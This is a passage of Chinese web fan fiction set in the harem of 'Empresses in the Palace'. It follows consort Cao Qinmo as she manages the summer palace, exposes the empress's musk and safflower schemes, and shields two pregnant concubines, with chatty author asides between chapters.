不过这是他女儿第一次做绣活,也是皇上第一次收到儿女的礼物,自然稀罕。 想着曹琴默养育着两个孩子,还肯为敬嫔的淑和说话,心里头更是不满皇后的小家子气。 “说起来,甄氏的肚子也有七个月了,官女子算不得正经宫嫔,自然养育不得孩子。” 皇上本有给甄嬛晋位的打算,但是今日事发,这念头又被压了下去。 “不若,给丽嫔抚养,可好?” 曹琴默的声音难得带了些小心翼翼。 “丽嫔,嗯,你说的是。你也是为了皇嗣考虑,不必如此小心。” 皇上自然察觉出曹琴默的不自然,安抚了一句。 “臣妾只是跟丽嫔姐姐关系好些,自然第一时间就想到她了,又怕皇上觉得臣妾......” 说到这里,曹琴默羞赧的抿了抿嘴。 “哈哈,必不会如此。你一向重情重义,朕早就知道,安心便是。” 曹琴默在心里冷哼一声,对皇上的屁话一个字也不信。 “天儿也热了,该安排着去园子避暑了。皇后还在侍疾,便由你费心。” 对于曹琴默掌权皇上是既放心又舒心,比之皇后和年世兰的结合体,后宫的平静和祥和上了两倍不止。 “是,不知道皇上对姐妹们的安排有没有规划?” 皇上想了想,叫苏培盛把圆明园的图纸拿了过来。 “朕在勤政殿住着,九州清晏作为家宴处。其余的,你看着安排就是。” “姐妹们可要都带上?” 皇上的后宫人少,即使都带上也花不了几个钱。 但是皇上想了想:“太后是挪动不得的,皇后这次就不去了。其余的,便都带着吧。” “臣妾记得齐妃姐姐说,三贝勒福晋有了身孕,如今正是燥热难耐时,不若叫三贝勒带着福晋也去避暑休养一阵,也好给皇上添个健康的皇孙。” “嗯,你考虑周到。” “那不若就安排三贝勒和福晋住在洞天深处,一是远离后宫姐妹们,二也是跟皇上近些,方便皇上父子交流。” 皇上眯着眼睛笑呵呵的点了点头。 “齐姐姐带着方佳常在,便住在镂月开云处,离洞天深处近,方便齐姐姐看护。 臣妾带着温宜和弘晏,便觍着脸给皇上要个独居的地儿,就在,坦坦荡荡吧。” “朕还能委屈了你不成?你带着两个孩子本就辛苦,住的宽敞些罢了。” 曹琴默只是笑:“那丽嫔姐姐便安排在茹古涵今吧,臣妾观丽嫔姐姐这些日子颇得皇上喜爱。正巧,把甄官女子也安排在此处,方便丽嫔姐姐照应。” 皇上点头,对这个安排很满意。 “瑾贵人,瑜常在和安常在三人便住进杏花春馆。” 曹琴默看了眼手里的地图,最后圈起了碧桐书院。 “平贵人和沈官女子便在此处吧。” 皇上看了一眼,曹琴默安排的都在后湖周围,范围把持的很好,不需要过多的洒扫修缮,给他省了不少钱。 “嗯,你做事朕一向放心。” 这些事都是有旧例可循的,曹琴默只是拿来延用,既不费脑子,也不会出乱子。 “至于最近的长春仙馆,皇后娘娘虽然不能亲自前来,这宫室还是要给皇后娘娘洒扫出来。” 这便是上得台面的处理了,这样的心性和脑子,居然是个六品官的女儿。 曹琴默不知道皇上的想法,也不太在乎。 温宜和弘晏如今晚上睡觉有些闹腾,正好把皇上撵去了咸福宫,淑和那荷包得了皇上的温情,一下子就把曹琴默的‘善良’再次烘托出来。 敬嫔和欣贵人虽然嘴上不说,但得到的好处是实打实的,曹琴默贤惠大度的形象,已经深入人心。 一直到了圆明园,在大门口被迫和沈眉庄分开,被带到丽嫔的茹古涵今时,甄嬛就知道,这一胎,皇上到底是何意了。 她对丽嫔没什么好感,自然恶感也并不多。主要是丽嫔的嘴欠,虽然说不过伶牙俐齿的甄嬛,但是骂的脏。 休息了片刻,不顾自己的肚子,带着槿汐往勤政殿走去。 “皇上,婢妾自知身份低微不够抚育皇嗣,求皇上,婢妾的孩子愿意交给敬嫔姐姐抚养。” 甄嬛说着人言可畏,并不相信曾经的端嫔不祥的传言,自然也不相信贤妃是个老好人的言论。 毕竟贤妃和丽嫔关系还不错,这宫室的安排又是贤妃所为,甄嬛合理怀疑皇上就是听了贤妃的话,才想叫丽嫔抚养自己的孩子。 但是丽嫔如此粗鄙之人,甄嬛实在不能忍受自己的孩子在这样的人手里长大。 挑挑拣拣,甄嬛盯上了敬嫔。 皇上本看着她肚子里皇嗣的面子上见了一面,已经耽误了跟果郡王约的射箭的时间。 如今听着她一个官女子还敢在后妃里挑挑拣拣,皇上一气之下把甄嬛禁足。 “甄氏,朕的后宫岂容你挑挑拣拣?这不是你甄家后花园,少起些自以为是的心思。” (五一啦,有没有和我一样不出门人挤人在家窝着的宝子啊?) 第172 章 曹琴默30 甄嬛顺利的生下了她第一个孩子,一个皮肤红彤彤体重有些瘦小的阿哥。 接生嬷嬷第一时间清理干净小阿哥身上的脏污,裹上红色的细棉布抱了出来。 曹琴默和齐妃作为圆明园后妃位份最高的两人,陪同在皇上身侧,探头瞧了瞧,也没看出什么,但话却得说的漂亮。 “皇上您瞧,小阿哥的眼睛鼻子和您一模一样呢。” 曹琴默收回落在刚出生的八阿哥身上的视线。小小的一团,眉毛浅淡,眼缝细长,头上稀松的几根胎毛,比弘晏这个早产的孩子还小的身子,委实不能昧着良心夸一句好看。 “小阿哥的身子怎么样?” 这样小的婴儿,皇上是不敢碰的。但好歹是亲爹,八阿哥生母又是最像纯元的甄嬛,皇上难免对其容貌带了些滤镜,瞧着神色是满意的。 “回皇上的话,小阿哥虽是足月生产,但因其生母孕期多思,稍显先天不足。仔细精养着,过了六七岁身子应当能好些。” 温实初被曹琴默按照原剧中那样扔到了国公府,胎已经保下了,工具人该扔就扔。这次跟来的,是跟曹琴默同行的江城江慎两兄弟。 曹琴默看了眼似是陷入回忆的皇上,眉头微动低低的叹了口气,似是为小阿哥的身子感到心疼。 “无事,皇家孩子精贵,本就有不少好东西滋补着,小阿哥的身子定能无虞。” 皇上闻言看了眼曹琴默,思绪一下子跳到了刚出生时胖乎乎的温宜。本因着想起纯元,再次想要给甄氏一个答应位分的想法再一次搁置。 什么孕中多思,都是要做额娘的人了,即使自己有什么不痛快,难道不能为了孩子忍一忍吗?甄氏,果然除了那张脸一无是处。 (不能!不能!宝子们!不要为了任何人委屈自己!!!) 那张苍白似故人的面庞本勾起了皇上的怜惜,但江城的话又仿佛让皇上看到了从前不受额娘待见的自己。 再纯美的白月光,也抵不过自己幼年时受的伤。 “八阿哥便记在丽嫔的玉牒上。” 官女子本就没有希望养孩子,甄嬛很清楚,只是嫌弃丽嫔蠢笨一直不肯认命罢了。 尘埃落定之时,甄嬛还是不肯放下自己的傲骨对丽嫔说两句软和话。 她用含着水光柔情满满的眸子期待的看向皇上,四目相对时,并没有在皇上眼里找到同样的温情。 甄嬛闭上眼睛,曾经两人的私下缱绻和吟诗对酒的场景叫她的心越来越冷。 ‘君既无情我便休’,这句话在甄嬛的脑海里不断的盘旋。 看着甄嬛拉平的嘴角,越发平淡的眼神,曹琴默很喜欢。 没有宠爱的官女子,过的不好,也是人之常情罢了。况且,如今皇上可没有跟甄嬛谈情说爱的前情铺垫,他也不会顾及一位官女子的心意,管你愿不愿意呢?皇上要找你侍寝,你还能拒绝? 皇上对上甄嬛淡漠的表情也没了什么温情片刻的心思,他看了一眼一直在旁帮着丽嫔忙前忙后的曹琴默,拉着她往外走。 “好了,叫丽嫔自己处理就好了。” 曹琴默脸上带着笑意:“臣妾也是高兴呢,丽嫔姐姐总说自己没有子女缘分,以前也总是跟娘娘......” 话音骤然落下,皇上拍了拍曹琴默的肩膀:“世兰若是知道,定也会为丽嫔高兴的。” 后宫又平安添了一个小阿哥,皇上发现,只要皇后不管事的时候,孩子们都能平平安安的落地。 曹琴默没再接话,她深知未尽之语能给人带来的想象空间有多大。 面对聪明人,尤其是面对多疑的聪明人,有时候话不能总说的太满,要靠他们的想象,来补全自己想要表达的意思。 百花齐放时,坐月子又不积极刷存在感的甄嬛便被皇上抛在了脑后。 会唱歌又温柔小意的安陵容,骄矜不会说话但是有些小漂亮的富察仪欣,为人不出彩但是母家送来的孝敬颇多的孙妙青还有年纪虽小但是心眼子并不少的方淳意。 你方唱罢我登场,皇上像是进了盘丝洞的唐僧,颇有些乐不思蜀的意味。 曹琴默每日里养养娃,带着孩子们摘摘花看看鱼似是不理俗世,但背地里,却是毁了四阿哥的脸蛋。 她跟四阿哥没有仇,但是四阿哥心眼小,又不是个容人的,若是再给他登顶的机会,对温宜,对弘晏,都不是什么好事。 她可以没有野心做那个万人之上的太后,但是未来的皇帝若是个冷心冷肺的,对她,自然是不利的。 自皇上来到圆明园后,四阿哥便上蹿下跳的日日在勤政殿外候着,有时候也会在后湖处溜溜达达,瑾贵人等人都是遇到过的。 不是在假山上头,就是在大石头边上。总之都是些站不稳就会磕下来的地方。 又因着今年的雨水丰沛些,石头若是在背阴处便会多有湿滑。四阿哥自己登高攀爬没有站稳,赖不到旁人身上。 只是脸上搓伤的面积有些大,太医说会留下疤痕。 皇上也只是点了点头,叫苏培盛送了些药罢了。 他本就不待见这个儿子,还是自己调皮甩开身边伺候的人摔了下去。再加上后宫不缺阿哥,四阿哥受的也不是什么要命的伤,皇上自然不会把这点小事放在心里。 “娘娘,宫里人来消息说,皇后娘娘在给各宫修缮宫室。” 曹琴默靠在迎枕上,身后的芊葵手指上沾了些茉莉精油,正为其轻轻按摩头颈。 “皇后哪有那般好的心肠,不过是为了布置什么脏东西罢了。” 皇后也就这点手段了,不是偷偷在别的宫里放点熏了麝香的摆件,就是把人家的被褥泡一泡红花,实在上不得台面。 颂青咧了咧嘴,表情跟她那个逃离皇宫的前主子一样骄傲不驯又带了三分嘲讽。 “娘娘,您忘了,还有花草呢。” 颂青还想起了延禧宫的金桂,就是可惜那两位官女子还是有些运道的,居然挖了出来。 曹琴默抬手掩了掩哈欠。 “宫中这个月的账本还有几日送过来?” 皇后光顾着打胎避孕了,完全忘了宫权现在在她曹琴默手里了吗? 哦也可能是皇后根本没把她放在眼里。 “约莫还有七日。” 曹琴默点了点头:“如实记录就好,本宫一向以皇上为重,自然是要清账禀明了。” 颂青突然觉得自家主子‘死’的有点早了,不能看到皇后这么吃亏,有些遗憾。 (Ps:丽嫔那身玫红色是第一日游御花园的时候穿上特意吸引小孩子的,小孩比较容易被鲜艳的颜色吸引。后面就没有再穿那么艳了。因为她跟敬嫔那俩娃不熟,所以需要打个底。) (本来写的是甄嬛想着为家里转变态度像后期的钮钴禄熹妃一样讨好皇上。哈哈,自己给自己写笑了。当初甄嬛生下胧月完全不顾流放的甄家人跑到甘露寺,怎么可能现在甄家最多是不好过而已,就放下身段讨好皇上去。) 第173 章 曹琴默31 “皇上,这是这个月的账本,臣妾把宫中和圆明园的账目合到了一起,您看看。” 曹琴默秉承着自己身为妾室,不论大事小情都会处理好了再给皇上过目一遍的原则,深得信任。 手中的宫权也迅速接手年世兰曾经那部分后,逐渐在皇上的有意放权下,插手到了皇后握在手中的另一半。 皇上不是不耐烦这些小事,相反,他很喜欢看到后宫掌权人拿着清明的账本叫他做个明眼的掌家翁,而从前皇后并不做处理就给他看,这才是皇后最败皇上耐心的一点。 曹琴默的账目做的很清晰,衣食住行完全分开,只一眼大概就能完全看明白。 “嗯?修缮宫室?” 每个月的支出都差不多,但是这个月突然多了一大笔的支出在账本上十分明显。 曹琴默有些为难的看了看皇上:“宫里头来人说,是皇后娘娘做主,要为宫嫔们修缮的。” 皇上甩了甩手里的串子,脸上的表情很是不耐烦。 “朕记得,选秀前世兰修缮过一次宫室了,怎么还要修缮?” 那次还是年世兰自掏腰包做的呢,皇上没花钱,自然不觉得有什么。 这次花的是皇上的钱,那一笔笔支出下去,皇上感觉自己的心都在滴血。 “臣妾也不清楚,内务府的人只是送了账本来,想来皇后娘娘自有道理。” 曹琴默为难局促的表情皇上也明白,她毕竟只是一个妃位,又不如曾经的世兰硬气,皇后想干什么,自然是阻止不得的。 皇上如今只剩对皇后的不耐烦,从他登基至今,没有做过一件能叫他露脸的事也就罢了。 年宴上抠抠搜搜差点丢尽了皇家的脸面,现在不年不节甚至最平常不过的日子她居然又大方起来了? 刚想叫人去宫里彻查一番,便被曹琴默拉了下袖口。 “皇上,皇后娘娘此事虽做的心急了些,但心里未必不是惦记皇上的。许是这段时日因着在寿康宫侍疾,未曾为皇上管理后宫有所愧疚也说不得。 皇后娘娘到底是大清的中宫之后,皇上这般疾言厉色的叫人询问,难免失了帝后和谐,也叫皇后娘娘多少有些难做。 不若皇上先派人悄悄的看看,若是娘娘处理的妥帖,也只当是皇后娘娘好心办了坏事。总归是夫妻一体,帝后安稳,人心也安稳。” 皇帝点了点头:“你说的是,皇后与朕是一体,朕确实不能如此鲁莽行事。” 说着,皇上又温和的看着曹琴默道:“皇后难免是为了宫权才出此下策,难为你还肯为她着想。” “宫权本就属于中宫,臣妾代为掌管而已。皇上于国事上操劳,臣妾也只有在小事上能为皇上做些力所能及,怎能为皇上添乱呢。” 话到这里也就差不多了,曹琴默要做的是“点出来”而不是自作主张的“解决它”。 她起身给皇上添了杯茶:“咱们温宜的周岁宴在宫里举办的很是隆重,皇上体贴臣妾自然是高兴的。如今弘晏的周岁也近在眼前了,皇上可不能厚此薄彼,少了咱们弘晏的。” 曹琴默虽然更疼爱自己的温宜,但弘晏该有的一样不少。 “朕哪里能忘了,这件事就交给你来办,正好也趁着机会热闹热闹。” 虽是养子,但弘晏的事情曹琴默总是亲力亲为,照顾两个孩子辛苦,一碗水端平更是颇费心力,皇上看在眼里,偶尔也会有一点似曾相识的感觉。 弘晏的周岁宴曹琴默安排的很妥帖,宴请的宗亲都按照曾经先帝时的记档安排了座位取消了零星不被接受的小菜。 也叫乐坊做了新曲和舞蹈,众人吃吃喝喝说说笑笑,甭管真心假意,陪着笑脸就算是君臣和乐了。 刚刚觉得自己日子好过了的皇上刚跟着曹琴默回到坦坦荡荡,就收到了宫里送来的信。 曹琴默贴心的带着孩子们下去洗漱哄睡,给皇上留了个单独的空间。 皇上一目三行的看下去,自己给自己气笑了。 皇后虽然威胁竹息拿到了太后的部分人手,但那些人本就是乌雅氏在后宫深耕多年的奴才,对于这个并没有拉扯族亲的乌拉那拉氏皇后没什么好感。 以前太后有要求,他们不得不捏着鼻子照办。如今太后病重,也没有留下一言半语改换主子的话,乌雅氏一族出了个太后,怎么会听皇后这个背后毫无势力的人呢? 所以皇后这一次的动作根本没人善后,皇上那没用的血滴子轻松一查,便揪出了皇后动的所有手脚。 把后宫众人送去浆洗的被面床幔等经常接触的布料都泡了红花。打着修缮桌漆等旗号为木料浸麝香,用花房时令的花树移栽到各个宫室掩盖花盆底埋藏的麝香。 皇上一件件看过去突然还有些咋舌,他说怎么皇后穿戴如此节俭,从前打着他的旗号也就算了,原来是把银子都用来买麝香了啊! 好半晌,皇上把信纸放在烛火的火苗上一燃而尽。抬起头,正对面墙上挂着的正好是一把金丝的软鞭。 皇上走上前看了看,这是世兰的旧物。从前世兰还在时,两人还一起翻出来看过。 黑夜总是叫人容易回忆过去的,尤其是在生出了对她人不满的时候。 皇上只觉得自己情路坎坷,所爱之人都未留住。 过了好半晌,他自己哄好了自己,靠在床头不知道想些什么。 “朕听着你们在隔壁嘻嘻哈哈的,怎么?孩子们还没睡吗?” 皇上看完了信怀念完年世兰洗完了澡又看了会儿书,曹琴默才从偏殿回来。 “刚睡下,刚刚温宜非要自己捧着牛乳碗喝,不小心摔碎了,弘晏又拿着自己的小碗递了过去。孩子们就是有趣,这样也能笑出来。臣妾瞧着也好笑,所以晚了些。” 皇上特别喜欢曹琴默这种照顾孩子的样子,好像再小的事情,只要是关于两个孩子,她都能发现其中的乐趣。 “弘晏是懂事了,知道分享自己的东西给姐姐了。” 曹琴默把头发散下来对着镜子照了照:“姐姐的东西能给弟弟用,弟弟的东西自然也能分享给姐姐。一父同胞的孩子,哪有那么多你啊我啊的。” 她说的随意,皇上却醍醐灌顶。 曹琴默从镜子里看了眼皇上恍然大悟的表情,微微挑眉。 ‘去吧,去你亲弟弟那里多拿点钱来,花给我的温宜。’ 她想着温宜那张软乎乎的小脸,觉得再怎么金贵都是不过分的。 皇上果然不负曹琴默的期望,不仅‘借’来了太后曾经给允禵的多番补助,还传信回去给皇后,叫皇后自行补全这次‘修缮’宫室花费的银子。 看着摆在桌面上的证据,皇后知道这次是自己心急了。 修缮宫室一共从内务府走了两千二百两的银子,皇后的私库里,也只有一千两左右的银子。皇后的年例虽多,但她给这个泡麝香那个泡红花的,都是走的自己的私库,根本存不下来钱。 求助太后?可惜竹息冷酷拒绝,因为竹息不能说皇上已经来打劫过一次了。 求助家族?皇后根本没想过,因为家族从来没管过她这个庶女的死活。 皇后这次不仅赔了银子又再一次折了自己在皇上那里为数不多的情分。 曹琴默则趁机把手里的人再次安插到东西六宫里。顺带在心里感谢皇后做参照物的贡献。 (写到这里发现温宜的出生时间被我提前了,哈哈哈,我开始想的时候怎么也没算明白时间。所以提前就提前吧,不是大事。) (五一真的是劳动节,在家净劳动了。不大点的地方,收拾起来还怪麻烦的呢!) 第174 章 曹琴默32 正所谓“九月九日时,菊花空满手。”重阳时节,依照旧例要在乾清宫举办家宴。 圆明园的日子虽然舒坦,但皇上也得为了生活低头,带着后妃赶在重阳节前半月,回到了‘牢笼’紫禁城中。 储秀宫留下看家的是曾经翊坤宫里的来福和进喜。两人是堂兄弟,家里无人自卖自身进宫,甫一入宫就被分配到翊坤宫里,等到了第一任主人华贵妃年世兰。 年世兰大方,临‘走’前也问过翊坤宫宫人的想法。 除了带走了周宁海和颂芝不提,颂青秋白冬霜三位宫女,进喜和来福两个太监,五人都去了储秀宫。 翊坤宫留下看守宫殿的有八人,年世兰给他们发了最后一次赏钱,够他们日后加个肉菜好好生活。 其余的,便依着曹琴默的意思,在黄规全的运作下,去了绣坊等各个轻省的活计处。 当时皇上还对年世兰的做法十分感触,觉得她是为数不多的好主子,连奴才的去处都安排了妥当。 在曹琴默有意无意的暗示下,皇上不免想到了曾经的纯元。 不过好在纯元死在生产这个鬼门关上,皇上也只是念叨纯元心思单纯,其表情怅然,内心究竟作何感想,旁人就不得而知了。 重阳家宴,皇后自然要出席。 多日未见,皇后身上也好像染上了病气,程序化的微笑似是用尺子丈量般的弧度,眼睛黑漆漆的,叫人无端不敢直视。 曹琴默居右侧第一位,她看了眼入了魔的宜修抿了口杯子里的玉泉酒。 现如今皇上刚登基一年多,还自认为身强体健的时候。 宜修活着比死了的价值高的多。这时候皇后没了,皇上说不得正好从其他大族再立一个手段心智都摸不清楚的贵女来。 太后又是这般情形,自然是阻拦不得。 与其顶头上司换一个套路不明的,不如就让宜修在位。左右都是老对手了,宜修就是不开口,她都知道其下一个动作。 ‘可惜了’,曹琴默放下酒杯心里颇有些遗憾的想着,沈眉庄的位分太低,‘宁可枝头抱香死’的气节,是传不到皇上耳朵里了。 自折戟多次后,皇后更加谨慎了起来,除却晨安,平日里是看不到皇后的身影的,她成日里不是在寿康宫侍疾,便是在宝华殿为太后祈福,瞧着架势是诚心极了。 可许是因为夏秋交接没能谈拢,几场懂事的夜雨下来天气骤然寒凉。太后的身子坚持不住,反复的高热折磨着已经形销骨立的老太太,不出几日,人便去了。 由于中风,太后临终前想要提起小儿子都没能做到,含恨而终。但正也因为没能够提起小儿子,叫皇上对其的怨恨再没有上升。虽不至于握手言和,但无视也算是好事。 毕竟太后在十四被关入景陵时,就送了乌雅氏的人手在侧。只要皇上不抽风,吃喝最起码是不愁的。时也命也,有时候费尽心思的谋算,不如一场意外来的合心意。 皇上难过了许久,就是因为幼年时求而不得的母爱,才在他这一生占据了相当大的份量。整日里不是在养心殿窝着,就是去储秀宫抱着温宜发呆。 偶尔看着说话不太利索的弘晏,呼兄唤弟的在储秀宫小聚,这热热闹闹的场景,叫他不由得带入进去。 弘时都是当阿玛的人了,却仍旧轻易被弘晏的邀约请了过来,手里拎着他福晋最擅长改良后十分可口的如意卷,很快就得了‘最好的哥哥’的称号。 到底是庶母,曹琴默会在三阿哥来的时候一并把其福晋也请来。 董鄂氏是个十分漂亮的小姑娘,说话细声细气的,但是实际为人非常的敞亮。 曹琴默观察了一阵子,摸到了三福晋的命门,和年世兰一样,是个顺毛驴,只不过,看着比年世兰多长了一点脑子。 “贤额娘这里真是热闹,人也温柔。” 三福晋只去了两次,就被曹琴默的形象哄骗了去,虽然她暂时没有妯娌可以交流心得,但有个不会说话却懂倾听的夫君,两人也算的上是相敬如宾。 “你若喜欢,便可以递了牌子常来坐坐。贤额娘是宫里头难得的好脾气,听我额娘说,贤额娘以前跟着脾气暴躁的孝淑皇后身后,也从来不生气不发火。” 三福晋倒是知道孝淑皇后的美名:“听闻孝淑皇后是个面冷心软的美人儿?” 弘时对年世兰的印象并不深,一是潜邸时齐妃看的紧,年世兰忙着跟宜修夺权跟别的妾室争宠。二是进宫后孝淑皇后的身子就不好了,隔三差五的就病上那么一场,根本没有机会露面。 他扒拉扒拉本就不多的印象,又想了想曾经额娘总是嘟囔着‘也就比她年轻时美艳两分’的话,下意识的说道:“应当是如此。不过我身为皇子,也就因着弘晏才和贤额娘走的近了些。从前并未注意这些,你若是好奇,改日问问额娘或者贤额娘都好。” 曹琴默今日留了年世兰的尾巴,她是看的出来三福晋的好奇心重的,必定会再次登门拜访。 三阿哥虽然不够聪明,但为人憨厚,能多跟温宜培养培养感情,自是有利无害的。 一晃眼也入了冬,今年的秋日好似行程十分急促,开了倍速一般直接离开了这俗事纷纷的紫禁城。 皇上没了娘,这两个月都没有找人侍寝,本来得宠的,或者有孩子的宫妃还好些。延禧宫的二人日子便有些难熬。 曹琴默管理后宫虽然公平公正,但官女子本就是宫女,只不过伺候了皇上,得了一个名号而已。份例还不如一个答应,炭火热水吃食都是不足的。 也好在甄嬛和沈眉庄两人睡在一张床上。从前两人只觉得床太小,睡不开有些局促。 而如今的时节,也只是庆幸床不大,两个人挤在一处,还有些热度。 “眉姐姐。” 甄嬛看了眼从外头进来失魂落魄的沈眉庄,抿了抿唇压下心底的失望。 她们都没想到,沈家竟然真的舍弃了沈眉庄这个女儿,自上次的诀别信后,再无音信。 她们如今只能靠着微薄的月例和温太医时不时的接济过日子,不说跟得宠时比。便是跟在闺阁中,这日子也是难过的。 “爹娘他们,是真的不要我了。” 沈眉庄跌坐在室内唯二的椅子上,失去了沈家光环的庇佑,沈眉庄才知道自己究竟是凭借着自身还是沈家入的宫。 没有家世,没有银子,在这后宫里连好些的宫女都不如。被贫穷快要洗干净的嬛儿脑,又再次因为温实初随手的帮扶和几面温柔慢慢沦陷进去。 曹琴默从延禧宫的探子里接到消息的时候简直觉得如听天书。 这到底是什么绝世大傻子?沈家金尊玉贵的少了她吃喝了吗?怎么一点温情就能勾的她回不过神?这又不是原剧里有底气不受宠也能过的好的惠嫔,她现在只是官女子,一个没有家族没有背景不受皇上喜爱的官女子。 曹琴默这个切切实实的钱性脑实在不理解,不过到底甄嬛还在,沈眉庄就默默的进行她那无人可诉的暗恋去吧。 第175 章 曹琴默33 “贤妃娘娘,嫔妾,嫔妾好像有了身孕。” 钟粹宫的三人结伴而来,瑾贵人和安常在摸着微凸的小腹说的一脸心虚。这段时日皇上总是拉拉着个脸,谁看了敢冒头啊,两个人硬是憋到现在,才敢说出来。 “这,你们怎么这样大意。快坐下,颂青,去请太医来。” 钟粹宫的瑾贵人和瑜常在是不会扎篱笆的,能安稳的咋呼到现在全靠富察氏那微微薄的人手和孙氏阔绰的财力。 安陵容倒是有几分巧思,但没头脑二人傲气惯了,安陵容也不会上赶着去做事。 一来二去,钟粹宫成了紫禁城的长春宫第二。 齐妃没脑子但是并不会有人专门放探子进去,钟粹宫却不同,毕竟是三位新人,皇后可是放了好几个人进去的。 只是可惜她做的那些手脚都被皇上换了下去,又因着太后去了后,皇后忙着收拢太后留下的人手,难免疏忽。这才叫钟粹宫的瑾贵人和安常在平安到了现在。 “恭喜娘娘,恭喜两位小主。瑾贵人有孕有三月了,安常在也有两个半月。” 江城比曹琴默想象的厉害,不仅直接拉拢走了后期的事业脑卫临,还从章弥那里偷看到了皇后的脉案。 “这样好的事,快叫你们身边人去通知皇上和皇后娘娘去。” 曹琴默用温和的笑意掩盖住了眼底的算计。 皇后正在为乌雅氏的人不听话而头痛,又接到了后宫突然冒出来了两个孕妇,还是在基本没有防御力的钟粹宫。扯着笑容叫报信的宫人离开,皇后一下子就破防了。 “瑾贵人,安常在。” 顾不得生气,剪秋扶着皇后换了身衣裳,赶紧往储秀宫赶。 却还是不敌皇上的距离近,最后一个踏入储秀宫的大门。 里面热闹的叫皇后有些厌恶,但不得不端着温和端庄的表情上前。 “可是叫太医瞧过了?身子可有不舒服?” 瑾贵人骄矜的笑了起来,摸着只像吃多了似的有些微微凸起的小腹刻意往前挺了挺。 “刚才江太医瞧过了,一切都好呢。这几日嫔妾就爱吃些酸汤的,想来,是个阿哥呢。” 曹琴默低头用帕子遮了遮嘴,她真是快被富察氏蠢笑了。 安陵容细心的察觉到皇后眼里的不满,她下意识的往曹琴默身边靠了靠。 皇上正是瞧着两位孕妇高兴的时候,自然瞧出了安陵容的小动作。 安陵容一向是胆小温顺的,皇上并不觉得奇怪。 “是不是闷得慌?本宫这里有道小菜方子,是本宫有温宜时极为喜爱的。一会儿叫太医瞧瞧,若是你也能用,便花些银子去御膳房点上一道。” 安陵容眼里带了些依赖和信任,弯了弯眉眼笑了起来。 她又敏锐的察觉到皇上投在她身上的视线,心思一转,头偏了偏更似是跟曹琴默在耳语一般。 “好了,都先回去吧。瑾贵人有孕便享嫔位份例,安常在赐封号婉,皇后,你便先回去敲打敲打内务府和御膳房,事关皇嗣,叫他们都小心着些。” 来贺喜的人离开,皇上看了眼安陵容后握着曹琴默的手坐了下来。 “你们宫里的掌事姑姑是谁?” 瑾贵人作为三人中的老大,自然的回话道:“回皇上,是辛夷姑姑。” 皇上看了眼曹琴默,曹琴默会意:“是正白旗章佳氏人,康熙四十二年小选进宫,原先一直在永和宫后殿伺候着。去年选秀时,因着外地秀女受教,孝淑皇后便开了钟粹宫,把辛夷派遣了过去。” 永和宫后殿,章佳氏人。 皇上一下子就对其的信任度达到了顶峰。 “嗯,是老人了,照顾你们不成问题。” 三人应了是,安陵容眼底的无措还是被皇上记在了心里。 “皇后病了些时日,难免精神不济。若是有事便来储秀宫找贤妃就是。” 瑾贵人和婉常在同时松了口气,虽然瑾贵人一开始觉得同为满族的皇后更靠谱,但经过这么长时间被宫人的洗脑和曹琴默更为周全的假面,叫她心里还是更倾向于贤妃。 冬日里倒是不便举行什么赏花宴,皇后只每日在膳食和请安的路上使劲。 好在辛夷是个可靠的,每日里把两位孕妇的伙食记录下来,日日不落的往储秀宫送。 有江城在,什么相克的食物,寒凉的水果,都近不得二人的身。 钟粹宫首领太监刘得海背后没人,一开始也只是配合辛夷的行动,其实心里并未有认主的想法。 他在钟粹宫未来主位富察氏和曹琴默中有所犹豫是正常。 毕竟富察氏这个姓氏能带来的好处,远不是汉军旗的曹琴默能比的。 但他也并未着急向瑾贵人表忠心,毕竟在刘得海看来,好的姓氏没有好的脑子来配,也是无用的。 经过这么长时间的观察,刘得海不得不承认,富察氏进宫这么久都没安排进来富察家的人手是有道理的。 这般脑子和心性,莫说去争一争前程了,便是能安稳护住肚子里那个都是难事。 所以刘得海毅然决然的加入到了曹琴默的阵营,虽然贤妃家世不显,但心性手段极佳,就算新帝出自任何后妃,跟她的关系都是不差的。 不一定能一飞冲天,但在这紫禁城里安安稳稳的养老定是无虞的。 刘得海的手段也是上乘,瑾贵人和婉常在出行时,前后都被宫人围着,就连路面,也是前头有三四个小太监先走上两趟探路,才叫两位过去。 不经意间,刘得海还和辛夷‘交流’下贤妃娘娘的‘嘱托’。 “这宫沿下的冰溜子和路面上都检查好了,贤妃娘娘还有什么吩咐了吗?” 辛夷想了想摇了摇头:“没了,这几日的膳食你去御膳房叮嘱一声,贤妃娘娘也去看了,那些个相克性凉的都撤了下去,应当无事。你也跟手底下的太监说一声,从哪个手里领的膳都记一下。若是有不对的,娘娘也好查探。” 刘得海应了一声,从角门出去照吩咐做事。 辛夷也从一边拍了拍身上的雪低头快步走了出去。 ‘伶俐’的桑儿自以为偷听到了什么大消息,赶忙到自家主子那里学了起来。 “贤妃娘娘是好,我这肚子不舒服,皇上都不耐烦了,贤妃娘娘每每都来看我。” 瑾贵人还是飘了起来,但后宫本来人也不多,她飘她的,没人接茬自己也就蔫巴下来了。 尤其是前两天去请安的路上摔了个小太监,到现在还起不来床呢。瑾贵人受到了惊吓,倒是日日往储秀宫跑,也听话了不少。 安陵容更是不必多说,听话懂事又温顺,曹琴默提示过的东西都是不碰的,身边的宫女也从宝娟换成了桐柳。虽说宝娟贴心,但她不经意间挑拨之语还是引起了安陵容的警惕。 至于宝娟提到的皇后娘娘的好,安陵容是一点也没感觉到。 反而在宝娟说起孝淑皇后曾经多么跋扈的时候心里泛起了嘀咕。 宝娟是宫中小选的包衣宫女,怎么会知道孝淑皇后潜邸时的事? 安陵容从来不是个好糊弄的,她在后宫虽然并不算得宠,但日子过得也并不难,所以脑子一直很清醒。 宝娟这点小心思在安陵容敏感心爆发时还有些用处,如今,怕是挑拨不成,把自己也暴露了出去。 曹琴默当初提醒皇上外地秀女没地住的两个目的,总算是都完成了。 一当然是为了点出皇后的漏洞,显示自己的能力。 这二嘛,自然也是避免安陵容在候选时跟夏冬春的纠缠。 她本就是个聪明的,进宫后结交的也都是外地秀女,又提前学了些规矩,自然不会出现端着茶杯乱走的情况。 提前把安陵容的聪慧和伶俐发挥出来,避免她陷入寄人篱下的敏感,就算皇后仍旧放了宝娟在侧,能起到的作用也是有限的。 更何况,都进宫了,她也不会眼睁睁看着自己看好的‘棋子’再步‘后尘’的。 看到安陵容身边换了人,曹琴默知道,安陵容可以放心的用了。 第176 章 曹琴默34 三贝勒已然出宫开府,其福晋董鄂氏也并非是个等闲之人,乌拉那拉族中对于皇后没有争取到三贝勒福晋一事颇有微词。 可如今太后崩逝,皇后又是和族里离了心的,她们也不敢太过表达不满。毕竟族里男儿没什么建树,也只能依靠这位在位不在职的皇后了。 